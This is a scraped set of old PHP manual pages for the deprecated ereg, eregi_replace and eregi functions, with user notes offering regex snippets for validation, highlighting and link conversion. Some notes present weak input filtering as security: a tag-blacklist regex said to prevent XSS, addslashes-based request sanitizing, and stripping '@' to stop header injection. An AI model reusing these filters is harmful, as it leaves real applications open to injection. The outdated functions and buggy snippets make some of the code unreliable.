yyyy-mm-dd, mm-dd-yyyy, dd-mm-yyyy
2007-02-05
12-25-2007
25-02-2007
2-5-2007
25-2-2007
2007-9-23
09-06-2007
09-23-2007
The above will check valid

Anything not in one of the combinations of dd,mm,yyyy formats above will fail.

these will also fail
2007-32-12
13-22-2007
0-1-2007
1-0-2007

Any sugestions on making it smaller and more efficients would be appreciated.
notbald at gmail spam away com 11-Jul-2007 10:26
Save yourself some headache and time, don't use the \d (digits) \w (alphanumeric) and \s (whitespace) short forms. Not only do they make the code less readable, they don't seem to work with ereg.

Use [0-9], [A-Za-z0-9], [ \n\r\t] instead.

Since the regex example in this article is a bit on the complex side, I'll throw in a simpler regex example:

Say you want to validate valid variable names:

<?php
$regex_valid_variable_name = '^[A-Za-z_][A-Za-z0-9_]*$';

// ^ in this context means that the regex is anchored
// to the beginning of the string.
//
// A single [xxx] means that a single letter must mach
// the criteria within
//
// The [xxx]* means that [xxx] can mach from zero to
// unlimited times.
//
// The $ is another anchor, except it is for the end of
// the sting.

// Valid names: "_", "hello1", "a_variable"
// Invalid names: "4number", "five-to", "one two", " space "

//Test it out:
$regx = $regx_valid_variable_name;
$valid = array ( '_', 'hello1', 'a_variable' );
$invalid = array ( '4number', 'five-to', 'one two', ' space ');
foreach($valid as $v)
    echo 'Valid '.(ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";

foreach($invalid as $v)
    echo 'Invalid '.(!ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";
?>
jaik at fluidcreativity dot co dot uk 31-Aug-2006 05:41
Here is a fixed version of the UK postcode check function by tomas at phusis dot co dot uk. There was a bug on line 2 of the reg expression where a closing square-bracket was doubled-up ("]]" which should've been "]").

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
   return $postcode;
  else
   return FALSE;
}
?>
theppg_001 at hotmail dot com 19-Aug-2006 04:00
Ok well someone else posted this but if didn't work so I made my own.
I used this to check file names that are to be created on a server.
File names that start with a-Z or 0-9 and contain a-Z, 0-9, underscore(_), dash(-), and dot(.) will be accepted.
File names beginning with anything but a-Z or 0-9 will be rejected.
File names  containing anything other than above mentioned will also be rejected.

Here it is.
<?php
$result = ereg("(^[a-zA-Z0-9]+([a-zA-Z\_0-9\.-]*))$" , $filename);
?>
tomas at phusis dot co dot uk 06-Jun-2006 05:41
I could not find a definitive and 100% working function that validates the UK postcodes, so was forced to write one myself.
The authoritative source of information is

http://www.govtalk.gov.uk/gdsc/html/frames/PostCode.htm

which I amended with the new postcode for Tristan da Cunha.

Here is the ugly beast (don't wanna see regexp's ever again):

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y]][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
    return $postcode;
  else
    return FALSE;
}
?>
info at orgied dot com 21-Mar-2006 03:54
Here's a function i've created to return an array of each substring searched in a string.

<?
function Return_Substrings($text, $sopener, $scloser)
                {
                $result = array();

                $noresult = substr_count($text, $sopener);
                $ncresult = substr_count($text, $scloser);

                if ($noresult < $ncresult)
                        $nresult = $noresult;
                else
                        $nresult = $ncresult;

                unset($noresult);
                unset($ncresult);

                for ($i=0;$i<$nresult;$i++)
                        {
                        $pos = strpos($text, $sopener) + strlen($sopener);

                        $text = substr($text, $pos, strlen($text));

                        $pos = strpos($text, $scloser);

                        $result[] = substr($text, 0, $pos);

                        $text = substr($text, $pos + strlen($scloser), strlen($text));
                        }

                return $result;
                }
?>

Example :

<?
    $string = "<b>bonjour</b> à tous, <b>comment</b> allez-vous ?";

    $result = Return_Substrings($string, "<b>", "</b>");
?>
psonice (aat) gmail.com 14-Mar-2006 10:39
I wanted a more strict check for UK postcodes, and decided to do it by stripping all whitespace then using ereg:

<?php
$pcode=str_replace(" ","",$in_post_code);
if (!ereg('^[a-zA-Z]{1,2}[0-9]{1,2}[a-zA-Z]{0,1}[0-9]{1}[a-zA-Z]{2}$', $pcode))
{
    return false;
}
?>

Probably could be improved, as I've just started, but it matches everything listed on the post office spec.
ar_cat at shaw dot ca 15-Dec-2005 12:13
I had problem using is_numeric() to verify if user inputs is a number (including optional floating sign and decimals).  Instead I found this expression from http://www.regular-expressions.info/floatingpoint.html and modified it for a bit.

^[+-]?[0-9]*\.?[0-9]+$

/*
3.55      true
-3.55     true
+3.55    true
2456.90  true
34skd    false
23.      false
2dt6      false
*/

Note: mine doesn't have the exponent part; for matching number with exponents, visit the site above :)
net_navard at yahoo dot com 15-Nov-2005 04:35
Hello

I think this is not clear:

"the matches will be stored in the elements of the array regs. $regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched. "

Beacause By "substring," it means the string contained within the parenthesis.

But in that statement it isn't so clearly

With regards

Amir Hossein Estakhrian
Jason Smart knarlin at yahoo dot com dot au 16-Oct-2005 10:13
A common mistake seems to be trying to escape characters within a bracket
expression. Unlike the preg functions, backslash is always taken literally
within a bracket expression using the ereg functions. See
http://php.planetmirror.com/manual/en/function.eregi.php#57824
for more details.

Some of the posts here can be re-written to be much simpler.

16-Feb-2005 10:02
attempts to allow square brackets in a string with
^[a-zA-Z0-9 [.[.] [.].] ]{1,}$
Although this appears to work a less confusing means is
^[]a-zA-Z0-9[]{1,}$
The ] has to be the first character (after a possible ^) but the [ can be
anywhere as long as it is not in the middle of a range of course.

09-Apr-2005 11:52
Says that ereg("hi[:space:]*bob", $string)
doesnt work in php 4 and to use preg_match() instead.

The above quoted use is incorrect it should be
<?php ereg("hi[[:space:]]*bob", $string); ?>

I tested this with the following in php 4.3.3 and it works fine
<?php
//The hex codes are space, tab, line feed, vertical tab, form feed, carriage return
 $whitespace = "\x20\x09\x0a\x0b\x0C\x0d";
 $teststring = "hi".$whitespace."bob";
 $result = ereg ("hi[[:space:]]*bob", $teststring, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 11 characters
?>

23-May-2005 08:22
Says that ereg("^[' A-Za-Z]+$", $cardName); will not work.

The fault with the above is the range a-Z the capital Z comes before small a
and so this will fail. The following works fine
<?php
$cardname = "John 'Doe'";
$result = ereg("^[' A-Za-z]+$", $cardname, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 10 characters
?>

09-Sep-2005 11:01
Tries to escape with \ in a bracket expression
You cannot with ereg functions (preg you can) so
ereg("^([-a-zA-Z0-9_\.\!@#\$&\*\+\=\|])*$" , $var)
should be
<?php ereg("^([-a-zA-Z0-9_.!@#$&*+=|])*$", $var); ?>
Joel Weierman 22-Jun-2005 09:56
While this is relatively simple example, I was unable find a clean method of doing this anywhere else, so I thought I would post it here.

As part of a file upload package, I wanted to prevent the uploading of double byte character filenames and other special ASCII characters that may not work well on a Windows and/or Linux system. Here is the statement I ended up using which seems to have done the trick.

ereg("[^a-zA-Z0-9._-]", $file_name)
php at REMOVEMEkennel17 dot co dot uk 27-Apr-2005 04:00
After a lot of hard work I managed to create the following regular expression, which matches any HTML tag pair (i.e. opening and closing tag), as specified by tagname:

^(.*)(<[ \n\r\t]*tagname(>|[^>]*>))(.*)(<[ \n\r\t]*/[ \n\r\t]*tagname(>|[^>]*>))(.*)$

The expression is deliberately very forgiving of bad HTML - I wanted to match anything that could be reasonably accepted by a forgiving browser, rather than make it standards compliant. Whitespace is allowed between the tagname and the opening and closing tag symbols, and also between the / and the tagname for the closing tag.

For my own use, I have wrapped it in a function call, which you may find useful.  Here it is with a few notes. I hope somebody finds it useful.

- Mark Clements

<?php

function ereg_MatchedHTMLTags($tagname) {
    return "^(.*)(<[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)(<[ \\n\\r\\t]*/[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)$";
}

// Use with eregi to ensure case-insensitive match.
//        e.g. to split an HTML page based on body tag:
//             eregi(ereg_MatchedHTMLTags('body'), $Source, $Matches)

// The following values will be held in $Matches
//(marked values are unintended byproducts of the expression)
//           *[0] - the entire string ($Source).
//            [1] - everything before the opening tag
//            [2] - the opening tag, including all contents (i.e. everything between < and >)
//           *[3] - the opening tag from end of the tag name,
//                      e.g. '<body bgcolor="#000000">' gives ' bgcolor="#000000">'
//            [4] - the tag contents (everything between the opening and closing tag)
//            [5] - the complete closing tag.
//           *[6] - the closing tag from the end of the tag name
//                      e.g. '</body invalid text>' gives ' invalid text>'
//            [7] - everything after the closing tag.

?>


Replace regular expression case insensitive

  • « ereg
  • eregi »
  • PHP Manual
  • POSIX Regex Functions
  • Replace regular expression case insensitive

eregi_replace

(PHP 4, PHP 5)

eregi_replace — Replace regular expression case insensitive

Description

string eregi_replace ( string $pattern , string $replacement , string $string )

This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

A POSIX extended regular expression.

replacement

If pattern contains parenthesized substrings, replacement may contain substrings of the form \digit, which will be replaced by the text matching the digit'th parenthesized substring; \0 will produce the entire contents of string. Up to nine substrings may be used. Parentheses may be nested, in which case they are counted by the opening parenthesis.

string

The input string.

Return Values

The modified string is returned. If no matches are found in string, then it will be returned unchanged.

Examples

Example #1 Highlight search results

<?php
$pattern = '(>[^<]*)('. quotemeta($_GET['search']) .')';
$replacement = '\\1<span class="search">\\2</span>';
$body = eregi_replace($pattern, $replacement, $body);
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

eregi_replace() is deprecated as of PHP 5.3.0. preg_replace() with the i (PCRE_CASELESS) modifier is the suggested alternative.

See Also

  • ereg() - Regular expression match
  • eregi() - Case insensitive regular expression match
  • ereg_replace() - Replace regular expression
  • preg_replace() - Perform a regular expression search and replace
  • quotemeta() - Quote meta characters

User Contributed Notes

dave at bevhost dot com 06-Jan-2012 09:22
The easiest function to replace this with is mb_eregi_replace(),
which is the mutibyte version that works on unicode characters such as chinese letters in your strings.
jgriggs777 at yahoo dot com 06-Jun-2008 04:26
My apologies.  I'm a PHP newbie and the count function didn't work right if you have more than one "keyword".  I searched and spent a long time to get this to work right, so wanted to share it.

This is very easy to use by doing the following.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php

function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $the_count = 0;
    $wordsArray = explode(' ', $words);
        foreach($wordsArray as $word) {
         if(strlen(trim($word)) != 0)

         //exclude these words from being replaced
         $exclude_list = array("word1", "word2", "word3");
        // Check if it's excluded
        if ( in_array( strtolower($word), $exclude_list ) ) {

        } else {
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
            $the_count = $count + $the_count;
            }

    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $the_count . "</strong> matches within the " . $the_place. ".</div><br>";

    return $text;
}

//example of how to use
$text_to_highlight = highlight_this($text_to_highlight, $search_text, "Place you searched");

?>
jgriggs777 at yahoo dot com 05-Jun-2008 09:56
I modified the script from the note below this one so that you could show how many matches were found.  I know this should probably be posted in the str_ireplace() area, so I will post it there afterwards.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php
function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $count . "</strong> matches within the " . $the_place. ".</div><br>";

    //end script modification
    return $text;
}
?>
a dot dotreppe at gmail dot com 21-May-2008 12:49
Hi everyone.
I saw a lot of highlighting functions, but no one was simple... maybe I missed a part of discussion ?

Anyway, I think this function is the easiest:

<?php
function highlight($text, $words) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = eregi_replace($word, '<span class="highlight">\\0</span>', $text);
    }
    return $text;
}
?>
dan at dotgospel dot com 23-Feb-2008 04:30
/*******************************************************
Function highlights the text. You can replace the html tags with whatever you like. $x is the string, $var is the string to be highlighted. We explode the string to highlight more than one word.
*/

function highlight($x,$var) {
    $var = explode(" ",$var);

   for($j=0; $j< count($var); $j++){
        $xtemp = "";
        $i=0;
        while($i<strlen($x)){
            if((($i + strlen($var[$j])) <= strlen($x)) && (strcasecmp($var[$j], substr($x, $i, strlen($var[$j]))) == 0)) {
                    $xtemp .= "<b>" . substr($x, $i , strlen($var[$j])) . "</b>";
                    $i += strlen($var[$j]);
            }
            else {
                $xtemp .= $x{$i};
                $i++;
            }
        }
        $x = $xtemp;
    }
    return $x;
}
mp3spl at o2 dot pl 23-Dec-2007 01:40
Nice way to highlight that what someone search.

For example is some one search for "Wire Mobile 6"

It will highlight every word separated even if found "Wire Xp and some mobile stuff"

© and ® are importiant, because without special signs, string in second turn will convert also <span class="searchtext">
which will be already in text.

<?

$searchcolor = explode(' ',$search);
$ilosc = count($searchcolor);
$ilosc2 = "0";
while ($ilosc2 != $ilosc ) {
$name = eregi_replace ($searchcolor[$ilosc2],'©'.$searchcolor[$ilosc2].'®',$name);
$ilosc2++;
        }
$name = str_replace('©','<span class="searchtext">',$name);
$name = str_replace('®','</span>',$name);

echo $name;

?>
augusto at fagioli dot biz 21-Dec-2007 09:50
related to the private at sfiac dot net function,
please note that you  can add a dot in the

$c=ereg_replace".
   "("[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);

having it to find email address like user.name@test.com

this is my example
$c=ereg_replace".
   "("[-a-z0-9.!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);
webmaster at hhgroups dot com 28-Nov-2007 10:24
Your remove links functions are incorrect if there are a php var in the URL, we have to add '?' character inside our pattern, I have three this function working correctly with php vars:

function transformUrl($str){
    $str=utf8_decode(urldecode($str));
    $str=eregi_replace("(^| |>)(www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"http://\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    return utf8_encode($str);
}
php[at]drixe[dot]net 24-Jun-2007 09:49
Melissa,
This one is a better setup for your marvelous code.
It handles Melissa Magic and also Magic Melissa

function underline($subject, $word)
        {
        $mywords = explode(" ",$word);
        for ($j=0;$j<count($mywords);$j++)
            {
            $regex_chars = '\.+?(){}[]^$';
            for ($i=0; $i<strlen($regex_chars); $i++)
                {
                $char = substr($regex_chars, $i, 1);
                $mywords[$j] = str_replace($char, '\\'.$char, $mywords[$j]);
                }
            $mywords[$j] = '(.*)('.$mywords[$j].')(.*)';
            $subject =  eregi_replace($mywords[$j], '\1<span style="background:#ACA;padding:0;margin:0;">\2</span>\3', $subject);
            }
        return $subject;
        }
spiritualmind at gmail dot com 11-Jun-2007 05:19
eregi_replace seems not to deal with UTF8 chars !
I needed to utf8_decode / encode my string to parse it in eregi_replace :

<?php
  $input = "string_from_utf8_form" ;
  $output = utf8_encode(eregi_replace("(pattern)", "replacement", utf8_decode($input)) ;

 echo $output ;
?>

I think UTF8 is not totally supported by PHP.
Vladimir Luchaninov 22-Oct-2006 04:38
If you have plain text e-mails and links but need to make them real links

<?
function replaceLinks($text) {
    // convert support@pogoda.in into
    // <a href="mailto:support@pogoda.in">
    // support@pogoda.in</a>
    $text = ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*',
        '<a href="mailto:\\0">\\0</a>',$text);

    // convert http://www.pogoda.in/new_york/eng/ into
    // <a href="http://pogoda.in/new_york/eng/">
    // pogoda.in/new_york/eng/</a>
    $text = ereg_replace('[a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*)',
        '<a href="\\0">\\1</a>',$text);

    // convert www.pogoda.in/new_york/eng/ into
    // <a href="http://www.pogoda.in/new_york/eng/">
    // www.pogoda.in/new_york/eng/</a>
    $text = ereg_replace('(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)',
        ' <a href="http://\\2">\\2</a>',$text);

    return $text;
}
?>
carlos at braziland dot com 16-May-2006 02:11
@bluedragonx at gmail dot com: Now you're calling two functions instead of one. I'm trully curious if that would still be faster.

My original post was just to highlight the need to escape characters that could be used to abuse a contact form. Something everyone should do, especially if doing it for a customer.

But bluedragonx, thanks for your input.
melissa at melissagirl dot com 14-Apr-2006 06:28
Here's a nice case-insensitive highlight function that ignores any regular expression characters and highlights a word and leaves it in whatever case it was before:

<?
function highlight($word, $subject) {
    $regex_chars = '\.+?(){}[]^$';
    for ($i=0; $i<strlen($regex_chars); $i++) {
        $char = substr($regex_chars, $i, 1);
        $word = str_replace($char, '\\'.$char, $word);
    }
    $word = '(.*)('.$word.')(.*)';
    return eregi_replace($word, '\1<span class="highlight">\2</span>\3', $subject);
}
?>
02-Nov-2005 12:06
@bluedragonx: You're right. And i got the order of the params wrong as well, must've been sleepy when i wrote that note. For what it's worth:

<? $_POST['email'] = str_replace("[at]", "@", strtolower($_POST['email'])); ?>

Not similar to Carlos' code though, since it'll convert all characters to lowercase.
bluedragonx at gmail dot com 17-Oct-2005 01:42
Actually that wouldn't work because str_replace is case sensitive.  So any instances of [AT] [aT] or [At] would be ignored.
php dot net at nr78 dot net 08-Aug-2005 02:36
@carlos at braziland dot com: Hate to be a wisecrack, but i believe the following code might be slightly faster with the same result:

<?php

$_POST['email'] = str_replace("@", "[at]", $_POST['email']);

?>
carlos at braziland dot com 31-Jul-2005 09:54
So here is my answer to those who are trying to submit headers through my simple contact form:

$any_form_field = eregi_replace("@","[at]",$_POST['just_one_field']); //how can anyone send emails to other email addresses without the @ symbol :)

My suggestion is to do a foreach loop in the $_POST array and remove the @ symbol from all fields (unless you want one of the fields to have the @ symbol, in which case it should be very careful and question if the symbol is necessary).

Not the best solution, but it's simple and it works.
joltmans at amersel dot com 01-Mar-2005 08:06
PHP's Regex engine differs from several others in its treatment of parsing spaces.

In many Regex languages '\s' denotes a space.
PHP does not recognize '\s', just type a space ' ' instead.

This simple example illustrates the problem:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with\s*spaces", $string))
    {
        // Will never print
        echo "PHP understood \s";
    }
    else
    {
        // Will always print
        echo "PHP doesn't understand \s";
    }
?>

This example does work:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with *spaces", $string))
    {
        // Will print
        echo "PHP understood ' '";
    }
?>
27-Jan-2005 05:15
never mind my last post for the eregi_replace not replacing.

I just used str_replace instead and it works fine.  I must have had something wrong with my search string.  POSIX, Perl.. hmm.. yeah probably something there.

Mettedraq / Gene
Ausvald 20-Jun-2004 01:21
Zach Johnson missed up. ereg* funcs use posix regex, not the rfc one
furiousgreencloud at yahoo dot com 18-Jun-2004 05:47
To simply convert wild input into a sensable sting, say for a filename I use:

function cleanString($wild) {
    return ereg_replace("[^[:alnum:]+]","",$wild);
}

echo cleanString("@#$&*$@#H~e'{}l{}l<o\{}"); // outputs: Hello
e dot boeters at planet dot nl 04-Jun-2004 01:46
This is a 'faster' way to highlight search results:

$content = str_replace($query, "<span class=\"highlight\">" . $query . "</span>", $content);
julien at ratatouille dot com dot fr 25-Nov-2003 03:28
This function replace < and > symbols between <code> and </code> tags by html code for lower than (&lt;) and greather than (&gt;) elements.

function retourne_format_code($texte)
{
    $tablo=split("<code>",$texte);
    $texte="";
    $texte.=$tablo[0];
    foreach($tablo as $cle=>$valeur)
    {
        if(eregi("</code>",$valeur))
        {
            $tablo1=split("</code>",$valeur);
            $tablo1[0]=eregi_replace("<","&lt;",$tablo1[0]);
            $tablo1[0]=eregi_replace(">","&gt;",$tablo1[0]);
            foreach($tablo1 as $cle1=>$valeur1)
            {
                if($cle1==0)
                    $valeur1="<code>".$valeur1."</code>";
                $texte.=$valeur1;
            }
        }
    }
    return $texte;
}
martin_goldmann at gmx dot net 18-Nov-2003 09:43
After reading the last message I wrote that de-spamizer:

function despamMailURI($myStrMail='')
{
    ?>javascript:void(location.href='mailto:'+<?=eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", "'\\1'+'@'+'\\2'+'.'+'\\3'",$myStrMail)?>)<?
}

Usage example:
<a href="<?=despamMailURI("user@foo.bar")?>">Mail me</a>
iparanoid at gmx dot de 24-Aug-2003 06:03
To obtain the an email addresse in the scheme user at host dot use following function

function antispam_mail($mail) {
    return eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", '\\1 at \\2 dot \\3',$mail );
};

Combined with a wee JavaScript (document.location='mailto:'+user+'@'+host+'.'+tld) this provides a very powerfull anti-spam mechanism while providing full mailto: link functionality.
chpins-php at romu92 dot freesurf dot fr 03-Jun-2003 01:15
/*new function for href2text : */

function AHREF2text($string) {
 return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>].*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}

// by Ch'Pins
buddy at directpay dot cz 14-May-2003 07:22
i had to solve problem conserning DB2 timestamp format. here is how to parse ANSI timestamp format to DB2 timestamp format:

$mydate = Date("Y-m-d H:i:s");

$var = eregi_replace
("([0-9]{4}-[0-9]{2}-[0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})"
,"\\1-\\2.\\3.\\4",$mydate);

echo "ANSI: $mydate, DB2 format: $var";

happy codding
buddy
eder at xce dot de 04-May-2003 04:23
/*As php at silisoftware dot com's example works only if there is not more than one link in $string, I rewrote his expression to function with strings containing multiple links: */

function AHREF2text($string) {
  return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>]*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}
Rainmaker526 at hotmail.com 10-Mar-2003 04:02
I have found that some characters cannot be used by eregi_replace (or ereg_replace). When you get the REG_BADRPT error, try backslashing any special chars in your pattern string

ex.
$str = eregi_replace("*", "", $somevar)

gives the REG_BADRPT error. Change it to
$str = eregi_replace("\*", "", $somevar)

to make it work
php at silisoftware dot com 18-Feb-2003 08:08
Transform HTML links into plain-text "links" with the URL visible

function AHREF2text($string) {
    return eregi_replace('<A .*HREF=("|\')?([^ "\']*)("|\')?.*>([^<]*)</A>', '[\\4] (link: \\2)', $string);
}

$HTMLstring = 'A link to <a href="http://www.php.net">PHP.net</A>';
echo AHREF2text($HTMLstring);
// prints:  A link to [PHP.net] (link: http://www.php.net)
simon_a99 at yahoo dot co dot uk 27-Aug-2002 09:07
To find a string regardless of case, you might want to use the matched string in the replacement string without changing its case.

For example, you're searching for $search = "letter" and the text being searched is $text = "post lEtTeR".  I want to change the format of the matched string.

Do this:
eregi_replace($search, "<b>\\0</b>", $text);

$text has now been changed to "post <b>lEtTeR</b>".  \\0 is the entire text matched (lEtTer in this case).


Case insensitive regular expression match

  • Â« eregi_replace
  • split Â»
  • PHP Manual
  • POSIX Regex Functions
  • Case insensitive regular expression match

eregi

(PHP 4, PHP 5)

eregi — Case insensitive regular expression match

Description

int eregi ( string $pattern , string $string [, array &$regs ] )

This function is identical to ereg() except that it ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case insensitive regular expression.

string

The input string.

regs

If matches are found for parenthesized substrings of pattern and the function is called with the third argument regs, the matches will be stored in the elements of the array regs.

$regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched.

Return Values

Returns the length of the matched string if a match for pattern was found in string, or FALSE if no matches were found or an error occurred.

If the optional parameter regs was not passed or the length of the matched string is 0, this function returns 1.

Examples

Example #1 eregi() example

<?php
$string = 'XYZ';
if (eregi('z', $string)) {
    echo "'$string' contains a 'z' or 'Z'!";
}
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

eregi() is deprecated as of PHP 5.3.0. preg_match() with the i (PCRE_CASELESS) modifier is the suggested alternative.

See Also

  • ereg() - Regular expression match
  • ereg_replace() - Replace regular expression
  • eregi_replace() - Replace regular expression case insensitive
  • preg_match() - Perform a regular expression match
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • stristr() - Case-insensitive strstr
  • quotemeta() - Quote meta characters

User Contributed Notes

info at o08 dot com 15-Apr-2010 06:12
because eregi is not recommended after php 5, you can replaced it with stristr if just for simple search.

For editors with regular express function:
eregi\(([^,]*),([^)]*)\)
stristr(\2,\1)
julia_kean25 at yahoo dot com 10-Feb-2009 11:15
I use this in my app_config.php file to sanitize each request:

<?php
// app_config.php

    /**
    *    SANITIZE REQUEST
    */

    function sanitize_request($methods, $array)
    {
        // methods: trim ; addslashes ; stripslashes ; etc...
        // array : $_GET ; $_POST ; etc...

        foreach ($methods as $function) {
            $array = array_map($function, $array);
        }
        return $array;
    }

    if ( ! get_magic_quotes_gpc() )
    {
        $methods = array('trim', 'addslashes');
        $_GET = sanitize_request($methods, $_GET);
        $_POST = sanitize_request($methods, $_POST);
        $_COOKIE = sanitize_request($methods, $_COOKIE);
        $_REQUEST = sanitize_request($methods, $_REQUEST);
    }
?>

it currently only trims and adds slashes to the request but it would be nice to have the possibility to add the striptags function too.
jrgpmaster at gmail dot com 13-Sep-2008 10:04
Here is a simple way of checking if the visitor if your page is a search engine or a normal person. It does this by checking if the user agent returned by $_SERVER['HTTP_USER_AGENT'] contains one of the keywords search engine's user agents usually contain.

<?php

    //check if user is a bot of some sort
function is_bot()
{
    $bots = array('google','yahoo','msn');
    //takes the list above and returns (google)|(yahoo)|(msn)
    $regex = '('.implode($bots, ')|(').')';
    /*uses the generated regex above to see if those keywords are contained in the user agent variable*/
    return eregi($regex, $_SERVER['HTTP_USER_AGENT']);
}

?>
sumit270 at gmail dot com 12-Jun-2008 06:45
Prevent XXS attack

<?php
// Prevent any possible XSS attacks via $_GET.
foreach ($_GET as $check_url) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
        (eregi("\"", $check_url))) {
    die ();
    }
}
unset($check_url);
?>
Jeff Morris 30-May-2008 08:06
Email Address RegEx -- The Final Frontier?

Inspired by bobocop's stalwart effort. Cheers for that matey!

Contrary to most folks' expectation, a quoted @ character is permitted in the
local part of an email address. So strictly speaking bobocop's test result for
'@exam@exam.com' is ...inconclusive?

The RFC prohibits control characters in the address. So it's no coincidence
that most header-related exploits try to inject control characters into the
fields sent to the server. If we're validating client-side, we need to ensure
user input is restricted to the printable code set. And in the spirit of not
trusting anything inbound, we need to filter again server-side. It's handy
to have the same regex working at both ends.

My variant of bobocop's regex is listed below. Note the mask for the local
part matches any printable character *excluding the dot*. The dot is reserved
as a label separator. Bobocop's regex enforces that role while ensuring the
local part does not start or end with a dot.

Outside of the 7-bit ASCII and dot rules, the RFC says 'anything goes' in the
local part. Them's the breaks folks.

All we need to realise is that our endeavours are limited, and the nearest
we'll get to validating an email address is finding an MX record in DNS.
Whatever, don't go probing mail servers with test emails, you might get more
than you bargained for. That's sp@mmer territory, that is.
If you want to positively vet a mail server, consider running a check against
sbl-xbl.spamhaus.org. Search for the checkdnsrr function page on this site and
read the comments for good info.

Anyhoo, here's the modded regex builder:

//the variables
$local            = '[\x20-\x2D\x2F-\x7E]';
$alnum            = 'a-z0-9';
$domain            = "([$alnum]([-$alnum]*[$alnum]+)?)";

//the array
$arr            = array();
$arr['start']    = '^';
$arr['local']    = "$local+(\.$local+)*";
$arr['at']        = '@';
$arr['domain']    = "($domain{1,63}\.)+";
$arr['tld']        = "[$alnum]{2,6}";
$arr['end']        = '$';

//the regex
$regex            = implode('',$arr);

/**

$regex evaluates to:

^[\x20-\x2D\x2F-\x7E]+(\.[\x20-\x2D\x2F-\x7E]+)*@
(([a-z0-9]([-a-z0-9]*[a-z0-9]+)?){1,63}\.)+[a-z0-9]{2,6}$

(regex split into 2 lines due to line length limits)

Add virgules front and back for the javascript equivalent.

I'm running this in an AJAX app right now and it does what it says on the tin.

